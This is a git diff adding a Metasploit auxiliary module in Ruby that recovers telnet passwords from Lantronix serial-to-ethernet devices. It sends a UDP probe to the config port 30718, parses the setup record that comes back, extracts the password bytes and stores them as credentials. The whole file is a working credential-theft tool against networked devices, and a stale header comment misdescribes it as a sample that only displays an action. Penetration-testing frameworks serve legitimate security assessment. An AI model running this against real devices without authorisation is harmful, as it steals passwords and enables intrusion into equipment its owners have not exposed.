diff --git a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb new file mode 100644 index 0000000000..b1849c727d --- /dev/null +++ b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb @@ -0,0 +1,111 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +### +# +# This sample auxiliary module simply displays the selected action and +# registers a custom command that will show up when the module is used. +# +### +class Metasploit4 < Msf::Auxiliary + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Lantronix Telnet Password Recovery', + 'Version' => '$Revision: 1 $', + 'Description' => %q{ + This module retrieves the setup record + from Lantronix serial-to-ethernet + devices via the config port (30718/udp, + enabled by default) and extracts the + telnet password. + }, + 'Author' => 'jgor', + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::CHOST, + Opt::RPORT(30718) + ], self.class) + + end + + def run_host(ip) + setup_probe = "\x00\x00\x00\xF8" + password = nil + + begin + # Create an unbound UDP socket if no CHOST is specified, otherwise + # create a UDP socket bound to CHOST (in order to avail of pivoting) + udp_sock = Rex::Socket::Udp.create( { + 'LocalHost' => datastore['CHOST'] || nil, + 'PeerHost' => ip, + 'PeerPort' => datastore['RPORT'], + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self + } + }) + + udp_sock.put(setup_probe) + + res = udp_sock.recvfrom(65535, 0.5) and res[1] + + if res + password = parse_reply(res) + end + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError + print_error("Connection error") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + ensure + udp_sock.close if udp_sock + end + + if password + print_good("#{rhost} - Telnet password found: #{password.to_s}") + report_auth_info({ + :host => rhost, + :port => 9999, + :sname => 'telnet', + :duplicate_ok => false, + :pass => password, + }) + end + + end + + def parse_reply(pkt) + @results ||= {} + + return if not pkt[1] + + if (pkt[1] =~ /^::ffff:/) + pkt[1] = pkt[1].sub(/^::ffff:/, '') + end + + setup_record = pkt[0] + + # If response is a setup record, extract password bytes 13-16 + if setup_record[3].ord == 0xF9 + return setup_record[12,4] + else + return nil + end + end + +end